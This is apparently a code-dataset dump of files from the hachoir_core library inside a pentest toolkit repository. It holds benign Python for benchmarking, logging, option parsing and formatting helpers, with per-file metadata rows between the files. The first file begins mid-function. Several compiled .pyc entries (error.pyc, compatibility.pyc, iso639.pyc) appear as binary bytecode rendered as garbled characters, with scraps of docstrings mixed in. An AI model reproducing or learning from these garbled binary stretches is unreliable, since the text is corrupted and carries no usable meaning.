kw): before = time() func(*args, **kw) after = time() return after - before def _run(self, func, args, kw): """ Call func(*args, **kw) as many times as needed to get good statistics. Algorithm: - call the function once - compute needed number of calls - and then call function N times To compute number of calls, parameters are: - time of first function call - minimum number of calls (min_count attribute) - maximum test time (max_time attribute) Notice: The function will approximate number of calls. """ # First call of the benchmark stat = BenchmarkStat() diff = self._runOnce(func, args, kw) best = diff stat.append(diff) total_time = diff # Compute needed number of calls count = int(floor(self.max_time / diff)) count = max(count, self.min_count) if self.max_count: count = min(count, self.max_count) # Not other call? Just exit if count == 1: return stat estimate = diff * count if self.verbose: print _("Run benchmark: %s calls (estimate: %s)") \ % (count, self.formatTime(estimate)) display_progress = self.verbose and (1.0 <= estimate) total_count = 1 while total_count < count: # Run benchmark and display each result if display_progress: print _("Result %s/%s: %s (best: %s)") % \ (total_count, count, self.formatTime(diff), self.formatTime(best)) part = count - total_count # Will takes more than one second? average = total_time / total_count if self.progress_time < part * average: part = max( int(self.progress_time / average), 1) for index in xrange(part): diff = self._runOnce(func, args, kw) stat.append(diff) total_time += diff best = min(diff, best) total_count += part if display_progress: print _("Result %s/%s: %s (best: %s)") % \ (count, count, self.formatTime(diff), self.formatTime(best)) return stat def validateStat(self, stat): """ Check statistics and raise a BenchmarkError if they are invalid. Example of tests: reject empty stat, reject stat with only nul values. """ if not stat: raise BenchmarkError("empty statistics") if not stat.getSum(): raise BenchmarkError("nul statistics") def run(self, func, *args, **kw): """ Run function func(*args, **kw), validate statistics, and display the result on stdout. Disable garbage collector if asked too. """ # Disable garbarge collector is needed and if it does exist # (Jython 2.2 don't have it for example) if self.disable_gc: try: import gc except ImportError: self.disable_gc = False if self.disable_gc: gc_enabled = gc.isenabled() gc.disable() else: gc_enabled = False # Run the benchmark stat = self._run(func, args, kw) if gc_enabled: gc.enable() # Validate and display stats self.validateStat(stat) self.displayStat(stat)
6,784
Python
.py
182
27.824176
78
0.578947
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,469
error.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/error.pyc
Ñò Î ÈMc @s£dZddklZddklZlZddkZddkZdd„Zde fd„ƒYZ e e e e eeeefZeiZeiZeiZdS( sH Functions to display an error (error, warning or information) message. iÿÿÿÿ(tlog(t makePrintablet makeUnicodeNsEmpty backtrace.cCsWyHtiƒ}ti|Œ}tiƒ|ddjodi|ƒSWndSX|S(sg Try to get backtrace as string. Returns "Error while trying to get backtrace" on failure. isNone ts#Error while trying to get backtrace(tsystexc_infot tracebacktformat_exceptiont exc_cleartjoin(temptytinfottrace((s</pentest/enumeration/google/metagoofil/hachoir_core/error.pyt getBacktrace s  t HachoirErrorcBs)eZdZd„Zd„Zd„ZRS(s1 Parent of all errors in Hachoir library cCst|ƒ|_dS(N(Rtmessage(tselfR((s</pentest/enumeration/google/metagoofil/hachoir_core/error.pyt__init__scCst|idƒS(NtASCII(RR(R((s</pentest/enumeration/google/metagoofil/hachoir_core/error.pyt__str__ scCs|iS(N(R(R((s</pentest/enumeration/google/metagoofil/hachoir_core/error.pyt __unicode__#s(t__name__t __module__t__doc__RRR(((s</pentest/enumeration/google/metagoofil/hachoir_core/error.pyRs  (Rthachoir_core.logRthachoir_core.toolsRRRRR t ExceptionRt LookupErrort NameErrortAttributeErrort TypeErrort ValueErrortArithmeticErrort RuntimeErrortHACHOIR_ERRORSR twarningterror(((s</pentest/enumeration/google/metagoofil/hachoir_core/error.pyt<module>s    
2,081
Python
.py
15
136.4
544
0.502177
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,470
cmd_line.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/cmd_line.py
from optparse import OptionGroup from hachoir_core.log import log from hachoir_core.i18n import _, getTerminalCharset from hachoir_core.tools import makePrintable import hachoir_core.config as config def getHachoirOptions(parser): """ Create an option group (type optparse.OptionGroup) of Hachoir library options. """ def setLogFilename(*args): log.setFilename(args[2]) common = OptionGroup(parser, _("Hachoir library"), \ "Configure Hachoir library") common.add_option("--verbose", help=_("Verbose mode"), default=False, action="store_true") common.add_option("--log", help=_("Write log in a file"), type="string", action="callback", callback=setLogFilename) common.add_option("--quiet", help=_("Quiet mode (don't display warning)"), default=False, action="store_true") common.add_option("--debug", help=_("Debug mode"), default=False, action="store_true") return common def configureHachoir(option): # Configure Hachoir using "option" (value from optparse) if option.quiet: config.quiet = True if option.verbose: config.verbose = True if option.debug: config.debug = True def unicodeFilename(filename, charset=None): if not charset: charset = getTerminalCharset() try: return unicode(filename, charset) except UnicodeDecodeError: return makePrintable(filename, charset, to_unicode=True)
1,456
Python
.py
38
32.921053
78
0.700637
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,471
log.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/log.py
import os, sys, time import hachoir_core.config as config from hachoir_core.i18n import _ class Log: LOG_INFO = 0 LOG_WARN = 1 LOG_ERROR = 2 level_name = { LOG_WARN: "[warn]", LOG_ERROR: "[err!]", LOG_INFO: "[info]" } def __init__(self): self.__buffer = {} self.__file = None self.use_print = False self.use_buffer = False self.on_new_message = None # Prototype: def func(level, prefix, text, context) def shutdown(self): if self.__file: self._writeIntoFile(_("Stop Hachoir")) def setFilename(self, filename, append=True): """ Use a file to store all messages. The UTF-8 encoding will be used. Write an informative message if the file can't be created. @param filename: C{L{string}} """ # Look if file already exists or not filename = os.path.expanduser(filename) filename = os.path.realpath(filename) append = os.access(filename, os.F_OK) # Create log file (or open it in append mode, if it already exists) try: import codecs if append: self.__file = codecs.open(filename, "a", "utf-8") else: self.__file = codecs.open(filename, "w", "utf-8") self._writeIntoFile(_("Starting Hachoir")) except IOError, err: if err.errno == 2: self.__file = None self.info(_("[Log] setFilename(%s) fails: no such file") % filename) else: raise def _writeIntoFile(self, message): timestamp = time.strftime("%Y-%m-%d %H:%M:%S") self.__file.write(u"%s - %s\n" % (timestamp, message)) self.__file.flush() def newMessage(self, level, text, ctxt=None): """ Write a new message : append it in the buffer, display it to the screen (if needed), and write it in the log file (if needed). @param level: Message level. @type level: C{int} @param text: Message content. @type text: C{str} @param ctxt: The caller instance. """ if level < self.LOG_ERROR and config.quiet or \ level <= self.LOG_INFO and not config.verbose: return if config.debug: from hachoir_core.error import getBacktrace backtrace = getBacktrace(None) if backtrace: text += "\n\n" + backtrace _text = text if hasattr(ctxt, "_logger"): _ctxt = ctxt._logger() if _ctxt is not None: text = "[%s] %s" % (_ctxt, text) # Add message to log buffer if self.use_buffer: if not self.__buffer.has_key(level): self.__buffer[level] = [text] else: self.__buffer[level].append(text) # Add prefix prefix = self.level_name.get(level, "[info]") # Display on stdout (if used) if self.use_print: sys.stdout.flush() sys.stderr.write("%s %s\n" % (prefix, text)) sys.stderr.flush() # Write into outfile (if used) if self.__file: self._writeIntoFile("%s %s" % (prefix, text)) # Use callback (if used) if self.on_new_message: self.on_new_message (level, prefix, _text, ctxt) def info(self, text): """ New informative message. @type text: C{str} """ self.newMessage(Log.LOG_INFO, text) def warning(self, text): """ New warning message. @type text: C{str} """ self.newMessage(Log.LOG_WARN, text) def error(self, text): """ New error message. @type text: C{str} """ self.newMessage(Log.LOG_ERROR, text) log = Log() class Logger(object): def _logger(self): return "<%s>" % self.__class__.__name__ def info(self, text): log.newMessage(Log.LOG_INFO, text, self) def warning(self, text): log.newMessage(Log.LOG_WARN, text, self) def error(self, text): log.newMessage(Log.LOG_ERROR, text, self)
4,237
Python
.py
121
25.495868
86
0.543855
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,472
compatibility.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/compatibility.pyc
Ñò Î ÈMc(@sdZddkZddkZyeZeZWnej odZdZnXyddklZWnej od„ZnXyddkl Z Wnej od„Z nXye e d d d ƒƒWne e fj o eZnXeZye d ƒZWnee fj o eZnXy(edeƒodd klZnWn'ej odGHd„ZeZnXyddklZWn0ej o$eo d„ZqÃd„ZnXyddklZWnej od„ZnXdZdS(s Compatibility constants and functions. This module works on Python 1.5 to 2.5. This module provides: - True and False constants ; - any() and all() function ; - has_yield and has_slice values ; - isinstance() with Python 2.3 behaviour ; - reversed() and sorted() function. True and False constants ======================== Truth constants: True is yes (one) and False is no (zero). >>> int(True), int(False) # int value (1, 0) >>> int(False | True) # and binary operator 1 >>> int(True & False) # or binary operator 0 >>> int(not(True) == False) # not binary operator 1 Warning: on Python smaller than 2.3, True and False are aliases to number 1 and 0. So "print True" will displays 1 and not True. any() function ============== any() returns True if at least one items is True, or False otherwise. >>> any([False, True]) True >>> any([True, True]) True >>> any([False, False]) False all() function ============== all() returns True if all items are True, or False otherwise. This function is just apply binary and operator (&) on all values. >>> all([True, True]) True >>> all([False, True]) False >>> all([False, False]) False has_yield boolean ================= has_yield: boolean which indicatese if the interpreter supports yield keyword. yield keyworkd is available since Python 2.0. has_yield boolean ================= has_slice: boolean which indicates if the interpreter supports slices with step argument or not. slice with step is available since Python 2.3. reversed() and sorted() function ================================ reversed() and sorted() function has been introduced in Python 2.4. It's should returns a generator, but this module it may be a list. >>> data = list("cab") >>> list(sorted(data)) ['a', 'b', 'c'] >>> list(reversed("abc")) ['c', 'b', 'a'] iÿÿÿÿNii(tanycCs!x|D]}|otSqWtS(N(tTruetFalse(titemstitem((sD/pentest/enumeration/google/metagoofil/hachoir_core/compatibility.pyRds  (tallcCstti|ƒS(N(treducetoperatort__and__(R((sD/pentest/enumeration/google/metagoofil/hachoir_core/compatibility.pyRnss{ from __future__ import generators def gen(): yield 1 yield 2 if list(gen()) != [1, 2]: raise KeyError("42") s<string>texecs"abc"[::-1] == "cba"(t isinstancesRedef isinstancecCs9t|ƒttƒjotdƒ‚nt|ƒ|jS(NsRTypeError: isinstance() arg 2 must be a class, type, or tuple of classes and types(ttypet TypeError(tattypea((sD/pentest/enumeration/google/metagoofil/hachoir_core/compatibility.pyt isinstance20Žs(treversedcCs1t|tƒpt|ƒ}n|ddd…S(Niÿÿÿÿ(R tlist(tdata((sD/pentest/enumeration/google/metagoofil/hachoir_core/compatibility.pyR scCsbt|tƒpt|ƒ}ng}x5tt|ƒdddƒD]}|i||ƒqCW|S(Niiÿÿÿÿ(R Rtxrangetlentappend(Rt reversed_datatindex((sD/pentest/enumeration/google/metagoofil/hachoir_core/compatibility.pyR¥s(tsortedcCsti|ƒ}|iƒtS(N(tcopytsortR(Rt sorted_data((sD/pentest/enumeration/google/metagoofil/hachoir_core/compatibility.pyR±s RRRRt has_yieldt has_sliceR RR( sTruesFalsesanysalls has_yields has_slices isinstancesreversedssorted(t__doc__RRRRt NameErrort __builtin__Rt ImportErrorRtevaltcompiletKeyErrort SyntaxErrorRRR R tintRRRt__all__(((sD/pentest/enumeration/google/metagoofil/hachoir_core/compatibility.pyt<module>Rs\           
4,744
Python
.py
86
53.72093
476
0.529463
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,473
tools.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/tools.py
# -*- coding: utf-8 -*- """ Various utilities. """ from hachoir_core.i18n import _, ngettext import re import stat from datetime import datetime, timedelta, MAXYEAR from warnings import warn def deprecated(comment=None): """ This is a decorator which can be used to mark functions as deprecated. It will result in a warning being emmitted when the function is used. Examples: :: @deprecated def oldfunc(): ... @deprecated("use newfunc()!") def oldfunc2(): ... Code from: http://code.activestate.com/recipes/391367/ """ def _deprecated(func): def newFunc(*args, **kwargs): message = "Call to deprecated function %s" % func.__name__ if comment: message += ": " + comment warn(message, category=DeprecationWarning, stacklevel=2) return func(*args, **kwargs) newFunc.__name__ = func.__name__ newFunc.__doc__ = func.__doc__ newFunc.__dict__.update(func.__dict__) return newFunc return _deprecated def paddingSize(value, align): """ Compute size of a padding field. >>> paddingSize(31, 4) 1 >>> paddingSize(32, 4) 0 >>> paddingSize(33, 4) 3 Note: (value + paddingSize(value, align)) == alignValue(value, align) """ if value % align != 0: return align - (value % align) else: return 0 def alignValue(value, align): """ Align a value to next 'align' multiple. >>> alignValue(31, 4) 32 >>> alignValue(32, 4) 32 >>> alignValue(33, 4) 36 Note: alignValue(value, align) == (value + paddingSize(value, align)) """ if value % align != 0: return value + align - (value % align) else: return value def timedelta2seconds(delta): """ Convert a datetime.timedelta() objet to a number of second (floatting point number). >>> timedelta2seconds(timedelta(seconds=2, microseconds=40000)) 2.04 >>> timedelta2seconds(timedelta(minutes=1, milliseconds=250)) 60.25 """ return delta.microseconds / 1000000.0 \ + delta.seconds + delta.days * 60*60*24 def humanDurationNanosec(nsec): """ Convert a duration in nanosecond to human natural representation. Returns an unicode string. >>> humanDurationNanosec(60417893) u'60.42 ms' """ # Nano second if nsec < 1000: return u"%u nsec" % nsec # Micro seconds usec, nsec = divmod(nsec, 1000) if usec < 1000: return u"%.2f usec" % (usec+float(nsec)/1000) # Milli seconds msec, usec = divmod(usec, 1000) if msec < 1000: return u"%.2f ms" % (msec + float(usec)/1000) return humanDuration(msec) def humanDuration(delta): """ Convert a duration in millisecond to human natural representation. Returns an unicode string. >>> humanDuration(0) u'0 ms' >>> humanDuration(213) u'213 ms' >>> humanDuration(4213) u'4 sec 213 ms' >>> humanDuration(6402309) u'1 hour 46 min 42 sec' """ if not isinstance(delta, timedelta): delta = timedelta(microseconds=delta*1000) # Milliseconds text = [] if 1000 <= delta.microseconds: text.append(u"%u ms" % (delta.microseconds//1000)) # Seconds minutes, seconds = divmod(delta.seconds, 60) hours, minutes = divmod(minutes, 60) if seconds: text.append(u"%u sec" % seconds) if minutes: text.append(u"%u min" % minutes) if hours: text.append(ngettext("%u hour", "%u hours", hours) % hours) # Days years, days = divmod(delta.days, 365) if days: text.append(ngettext("%u day", "%u days", days) % days) if years: text.append(ngettext("%u year", "%u years", years) % years) if 3 < len(text): text = text[-3:] elif not text: return u"0 ms" return u" ".join(reversed(text)) def humanFilesize(size): """ Convert a file size in byte to human natural representation. It uses the values: 1 KB is 1024 bytes, 1 MB is 1024 KB, etc. The result is an unicode string. >>> humanFilesize(1) u'1 byte' >>> humanFilesize(790) u'790 bytes' >>> humanFilesize(256960) u'250.9 KB' """ if size < 10000: return ngettext("%u byte", "%u bytes", size) % size units = [_("KB"), _("MB"), _("GB"), _("TB")] size = float(size) divisor = 1024 for unit in units: size = size / divisor if size < divisor: return "%.1f %s" % (size, unit) return "%u %s" % (size, unit) def humanBitSize(size): """ Convert a size in bit to human classic representation. It uses the values: 1 Kbit is 1000 bits, 1 Mbit is 1000 Kbit, etc. The result is an unicode string. >>> humanBitSize(1) u'1 bit' >>> humanBitSize(790) u'790 bits' >>> humanBitSize(256960) u'257.0 Kbit' """ divisor = 1000 if size < divisor: return ngettext("%u bit", "%u bits", size) % size units = [u"Kbit", u"Mbit", u"Gbit", u"Tbit"] size = float(size) for unit in units: size = size / divisor if size < divisor: return "%.1f %s" % (size, unit) return u"%u %s" % (size, unit) def humanBitRate(size): """ Convert a bit rate to human classic representation. It uses humanBitSize() to convert size into human reprensation. The result is an unicode string. >>> humanBitRate(790) u'790 bits/sec' >>> humanBitRate(256960) u'257.0 Kbit/sec' """ return "".join((humanBitSize(size), "/sec")) def humanFrequency(hertz): """ Convert a frequency in hertz to human classic representation. It uses the values: 1 KHz is 1000 Hz, 1 MHz is 1000 KMhz, etc. The result is an unicode string. >>> humanFrequency(790) u'790 Hz' >>> humanFrequency(629469) u'629.5 kHz' """ divisor = 1000 if hertz < divisor: return u"%u Hz" % hertz units = [u"kHz", u"MHz", u"GHz", u"THz"] hertz = float(hertz) for unit in units: hertz = hertz / divisor if hertz < divisor: return u"%.1f %s" % (hertz, unit) return u"%s %s" % (hertz, unit) regex_control_code = re.compile(r"([\x00-\x1f\x7f])") controlchars = tuple({ # Don't use "\0", because "\0"+"0"+"1" = "\001" = "\1" (1 character) # Same rease to not use octal syntax ("\1") ord("\n"): r"\n", ord("\r"): r"\r", ord("\t"): r"\t", ord("\a"): r"\a", ord("\b"): r"\b", }.get(code, '\\x%02x' % code) for code in xrange(128) ) def makePrintable(data, charset, quote=None, to_unicode=False, smart=True): r""" Prepare a string to make it printable in the specified charset. It escapes control characters. Characters with code bigger than 127 are escaped if data type is 'str' or if charset is "ASCII". Examples with Unicode: >>> aged = unicode("âgé", "UTF-8") >>> repr(aged) # text type is 'unicode' "u'\\xe2g\\xe9'" >>> makePrintable("abc\0", "UTF-8") 'abc\\0' >>> makePrintable(aged, "latin1") '\xe2g\xe9' >>> makePrintable(aged, "latin1", quote='"') '"\xe2g\xe9"' Examples with string encoded in latin1: >>> aged_latin = unicode("âgé", "UTF-8").encode("latin1") >>> repr(aged_latin) # text type is 'str' "'\\xe2g\\xe9'" >>> makePrintable(aged_latin, "latin1") '\\xe2g\\xe9' >>> makePrintable("", "latin1") '' >>> makePrintable("a", "latin1", quote='"') '"a"' >>> makePrintable("", "latin1", quote='"') '(empty)' >>> makePrintable("abc", "latin1", quote="'") "'abc'" Control codes: >>> makePrintable("\0\x03\x0a\x10 \x7f", "latin1") '\\0\\3\\n\\x10 \\x7f' Quote character may also be escaped (only ' and "): >>> print makePrintable("a\"b", "latin-1", quote='"') "a\"b" >>> print makePrintable("a\"b", "latin-1", quote="'") 'a"b' >>> print makePrintable("a'b", "latin-1", quote="'") 'a\'b' """ if data: if not isinstance(data, unicode): data = unicode(data, "ISO-8859-1") charset = "ASCII" data = regex_control_code.sub( lambda regs: controlchars[ord(regs.group(1))], data) if quote: if quote in "\"'": data = data.replace(quote, '\\' + quote) data = ''.join((quote, data, quote)) elif quote: data = "(empty)" data = data.encode(charset, "backslashreplace") if smart: # Replace \x00\x01 by \0\1 data = re.sub(r"\\x0([0-7])(?=[^0-7]|$)", r"\\\1", data) if to_unicode: data = unicode(data, charset) return data def makeUnicode(text): r""" Convert text to printable Unicode string. For byte string (type 'str'), use charset ISO-8859-1 for the conversion to Unicode >>> makeUnicode(u'abc\0d') u'abc\\0d' >>> makeUnicode('a\xe9') u'a\xe9' """ if isinstance(text, str): text = unicode(text, "ISO-8859-1") elif not isinstance(text, unicode): text = unicode(text) text = regex_control_code.sub( lambda regs: controlchars[ord(regs.group(1))], text) text = re.sub(r"\\x0([0-7])(?=[^0-7]|$)", r"\\\1", text) return text def binarySearch(seq, cmp_func): """ Search a value in a sequence using binary search. Returns index of the value, or None if the value doesn't exist. 'seq' have to be sorted in ascending order according to the comparaison function ; 'cmp_func', prototype func(x), is the compare function: - Return strictly positive value if we have to search forward ; - Return strictly negative value if we have to search backward ; - Otherwise (zero) we got the value. >>> # Search number 5 (search forward) ... binarySearch([0, 4, 5, 10], lambda x: 5-x) 2 >>> # Backward search ... binarySearch([10, 5, 4, 0], lambda x: x-5) 1 """ lower = 0 upper = len(seq) while lower < upper: index = (lower + upper) >> 1 diff = cmp_func(seq[index]) if diff < 0: upper = index elif diff > 0: lower = index + 1 else: return index return None def lowerBound(seq, cmp_func): f = 0 l = len(seq) while l > 0: h = l >> 1 m = f + h if cmp_func(seq[m]): f = m f += 1 l -= h + 1 else: l = h return f def humanUnixAttributes(mode): """ Convert a Unix file attributes (or "file mode") to an unicode string. Original source code: http://cvs.savannah.gnu.org/viewcvs/coreutils/lib/filemode.c?root=coreutils >>> humanUnixAttributes(0644) u'-rw-r--r-- (644)' >>> humanUnixAttributes(02755) u'-rwxr-sr-x (2755)' """ def ftypelet(mode): if stat.S_ISREG (mode) or not stat.S_IFMT(mode): return '-' if stat.S_ISBLK (mode): return 'b' if stat.S_ISCHR (mode): return 'c' if stat.S_ISDIR (mode): return 'd' if stat.S_ISFIFO(mode): return 'p' if stat.S_ISLNK (mode): return 'l' if stat.S_ISSOCK(mode): return 's' return '?' chars = [ ftypelet(mode), 'r', 'w', 'x', 'r', 'w', 'x', 'r', 'w', 'x' ] for i in xrange(1, 10): if not mode & 1 << 9 - i: chars[i] = '-' if mode & stat.S_ISUID: if chars[3] != 'x': chars[3] = 'S' else: chars[3] = 's' if mode & stat.S_ISGID: if chars[6] != 'x': chars[6] = 'S' else: chars[6] = 's' if mode & stat.S_ISVTX: if chars[9] != 'x': chars[9] = 'T' else: chars[9] = 't' return u"%s (%o)" % (''.join(chars), mode) def createDict(data, index): """ Create a new dictionnay from dictionnary key=>values: just keep value number 'index' from all values. >>> data={10: ("dix", 100, "a"), 20: ("vingt", 200, "b")} >>> createDict(data, 0) {10: 'dix', 20: 'vingt'} >>> createDict(data, 2) {10: 'a', 20: 'b'} """ return dict( (key,values[index]) for key, values in data.iteritems() ) # Start of UNIX timestamp (Epoch): 1st January 1970 at 00:00 UNIX_TIMESTAMP_T0 = datetime(1970, 1, 1) def timestampUNIX(value): """ Convert an UNIX (32-bit) timestamp to datetime object. Timestamp value is the number of seconds since the 1st January 1970 at 00:00. Maximum value is 2147483647: 19 january 2038 at 03:14:07. May raise ValueError for invalid value: value have to be in 0..2147483647. >>> timestampUNIX(0) datetime.datetime(1970, 1, 1, 0, 0) >>> timestampUNIX(1154175644) datetime.datetime(2006, 7, 29, 12, 20, 44) >>> timestampUNIX(1154175644.37) datetime.datetime(2006, 7, 29, 12, 20, 44, 370000) >>> timestampUNIX(2147483647) datetime.datetime(2038, 1, 19, 3, 14, 7) """ if not isinstance(value, (float, int, long)): raise TypeError("timestampUNIX(): an integer or float is required") if not(0 <= value <= 2147483647): raise ValueError("timestampUNIX(): value have to be in 0..2147483647") return UNIX_TIMESTAMP_T0 + timedelta(seconds=value) # Start of Macintosh timestamp: 1st January 1904 at 00:00 MAC_TIMESTAMP_T0 = datetime(1904, 1, 1) def timestampMac32(value): """ Convert an Mac (32-bit) timestamp to string. The format is the number of seconds since the 1st January 1904 (to 2040). Returns unicode string. >>> timestampMac32(0) datetime.datetime(1904, 1, 1, 0, 0) >>> timestampMac32(2843043290) datetime.datetime(1994, 2, 2, 14, 14, 50) """ if not isinstance(value, (float, int, long)): raise TypeError("an integer or float is required") if not(0 <= value <= 4294967295): return _("invalid Mac timestamp (%s)") % value return MAC_TIMESTAMP_T0 + timedelta(seconds=value) def durationWin64(value): """ Convert Windows 64-bit duration to string. The timestamp format is a 64-bit number: number of 100ns. See also timestampWin64(). >>> str(durationWin64(1072580000)) '0:01:47.258000' >>> str(durationWin64(2146280000)) '0:03:34.628000' """ if not isinstance(value, (float, int, long)): raise TypeError("an integer or float is required") if value < 0: raise ValueError("value have to be a positive or nul integer") return timedelta(microseconds=value/10) # Start of 64-bit Windows timestamp: 1st January 1600 at 00:00 WIN64_TIMESTAMP_T0 = datetime(1601, 1, 1, 0, 0, 0) def timestampWin64(value): """ Convert Windows 64-bit timestamp to string. The timestamp format is a 64-bit number which represents number of 100ns since the 1st January 1601 at 00:00. Result is an unicode string. See also durationWin64(). Maximum date is 28 may 60056. >>> timestampWin64(0) datetime.datetime(1601, 1, 1, 0, 0) >>> timestampWin64(127840491566710000) datetime.datetime(2006, 2, 10, 12, 45, 56, 671000) """ try: return WIN64_TIMESTAMP_T0 + durationWin64(value) except OverflowError: raise ValueError(_("date newer than year %s (value=%s)") % (MAXYEAR, value)) # Start of 60-bit UUID timestamp: 15 October 1582 at 00:00 UUID60_TIMESTAMP_T0 = datetime(1582, 10, 15, 0, 0, 0) def timestampUUID60(value): """ Convert UUID 60-bit timestamp to string. The timestamp format is a 60-bit number which represents number of 100ns since the the 15 October 1582 at 00:00. Result is an unicode string. >>> timestampUUID60(0) datetime.datetime(1582, 10, 15, 0, 0) >>> timestampUUID60(130435676263032368) datetime.datetime(1996, 2, 14, 5, 13, 46, 303236) """ if not isinstance(value, (float, int, long)): raise TypeError("an integer or float is required") if value < 0: raise ValueError("value have to be a positive or nul integer") try: return UUID60_TIMESTAMP_T0 + timedelta(microseconds=value/10) except OverflowError: raise ValueError(_("timestampUUID60() overflow (value=%s)") % value) def humanDatetime(value, strip_microsecond=True): """ Convert a timestamp to Unicode string: use ISO format with space separator. >>> humanDatetime( datetime(2006, 7, 29, 12, 20, 44) ) u'2006-07-29 12:20:44' >>> humanDatetime( datetime(2003, 6, 30, 16, 0, 5, 370000) ) u'2003-06-30 16:00:05' >>> humanDatetime( datetime(2003, 6, 30, 16, 0, 5, 370000), False ) u'2003-06-30 16:00:05.370000' """ text = unicode(value.isoformat()) text = text.replace('T', ' ') if strip_microsecond and "." in text: text = text.split(".")[0] return text NEWLINES_REGEX = re.compile("\n+") def normalizeNewline(text): r""" Replace Windows and Mac newlines with Unix newlines. Replace multiple consecutive newlines with one newline. >>> normalizeNewline('a\r\nb') 'a\nb' >>> normalizeNewline('a\r\rb') 'a\nb' >>> normalizeNewline('a\n\nb') 'a\nb' """ text = text.replace("\r\n", "\n") text = text.replace("\r", "\n") return NEWLINES_REGEX.sub("\n", text)
17,255
Python
.py
506
28.120553
84
0.605435
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,474
text_handler.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/text_handler.py
""" Utilities used to convert a field to human classic reprentation of data. """ from hachoir_core.tools import ( humanDuration, humanFilesize, alignValue, durationWin64 as doDurationWin64, deprecated) from types import FunctionType, MethodType from hachoir_core.i18n import _ from hachoir_core.field import Field def textHandler(field, handler): assert isinstance(handler, (FunctionType, MethodType)) assert issubclass(field.__class__, Field) field.createDisplay = lambda: handler(field) return field def displayHandler(field, handler): assert isinstance(handler, (FunctionType, MethodType)) assert issubclass(field.__class__, Field) field.createDisplay = lambda: handler(field.value) return field @deprecated("Use TimedeltaWin64 field type") def durationWin64(field): """ Convert Windows 64-bit duration to string. The timestamp format is a 64-bit number: number of 100ns. See also timestampWin64(). >>> durationWin64(type("", (), dict(value=2146280000, size=64))) u'3 min 34 sec 628 ms' >>> durationWin64(type("", (), dict(value=(1 << 64)-1, size=64))) u'58494 years 88 days 5 hours' """ assert hasattr(field, "value") and hasattr(field, "size") assert field.size == 64 delta = doDurationWin64(field.value) return humanDuration(delta) def filesizeHandler(field): """ Format field value using humanFilesize() """ return displayHandler(field, humanFilesize) def hexadecimal(field): """ Convert an integer to hexadecimal in lower case. Returns unicode string. >>> hexadecimal(type("", (), dict(value=412, size=16))) u'0x019c' >>> hexadecimal(type("", (), dict(value=0, size=32))) u'0x00000000' """ assert hasattr(field, "value") and hasattr(field, "size") size = field.size padding = alignValue(size, 4) // 4 pattern = u"0x%%0%ux" % padding return pattern % field.value
1,935
Python
.py
52
33.038462
76
0.707044
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,475
event_handler.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/event_handler.py
class EventHandler(object): """ Class to connect events to event handlers. """ def __init__(self): self.handlers = {} def connect(self, event_name, handler): """ Connect an event handler to an event. Append it to handlers list. """ try: self.handlers[event_name].append(handler) except KeyError: self.handlers[event_name] = [handler] def raiseEvent(self, event_name, *args): """ Raiser an event: call each handler for this event_name. """ if event_name not in self.handlers: return for handler in self.handlers[event_name]: handler(*args)
703
Python
.py
22
23.5
73
0.581979
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,476
iso639.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/iso639.pyc
Ñò Î ÈMc@s§dZd½d¾d¿dÀdÁdÂdÃdÄdÅdÆdÇdÈdÉdÊdËdÌdÍdÎdÏdĞdÑdÒdÓdÔdÕdÖd×dØdÙdÚdÛdÜdİdŞdßdàdádâdãdädådædçdèdédêdëdìdídîdïdğdñdòdódôdõdöd÷dødùdúdûdüdıdşdÿdddddddddd d d d d ddddddddddddddddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:d;d<d=d>d?d@dAdBdCdDdEdFdGdHdIdJdKdLdMdNdOdPdQdRdSdTdUdVdWdXdYdZd[d\d]d^d_d`dadbdcdddedfdgdhdidjdkdldmdndodpdqdrdsdtdudvdwdxdydzd{d|d}d~dd€d�d‚dƒd„d…d†d‡dˆd‰dŠd‹dŒd�d�d�d�d‘d’d“d”d•d–d—d˜d™dšd›dœd�d�dŸd d¡d¢d£d¤d¥d¦d§d¨d©dªd«d¬d­d®d¯d°d±d²d³d´dµd¶d·d¸d¹dºd»d¼d½d¾d¿dÀdÁdÂdÃdÄdÅdÆdÇdÈdÉdÊdËdÌdÍdÎdÏdĞdÑdÒdÓdÔdÕdÖd×dØdÙdÚdÛdÜdİdŞdßdàdádâdãdädådædçdèdédêdëdìdídîdïdğdñdòdódôdõdöd÷dødùdúdûdüdıdşdÿdddddddddd d d d d ddddddddddddddddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:d;d<d=d>d?d@dAdBdCdDdEdFdGdHdIdJdKdLdMdNdOdPdQdRdSdTdUdVdWdXdYdZd[d\d]d^d_d`dadbdcdddedfdgdhdidjdkdldmdndodpdqdrdsdtdudvdwdxdydzd{d|d}d~dd€d�d‚dƒd„d…d†d‡dˆd‰dŠd‹dŒd�d�d�d�d‘d’d“d”d•d–d—d˜d™dšd›dœd�d�dŸd 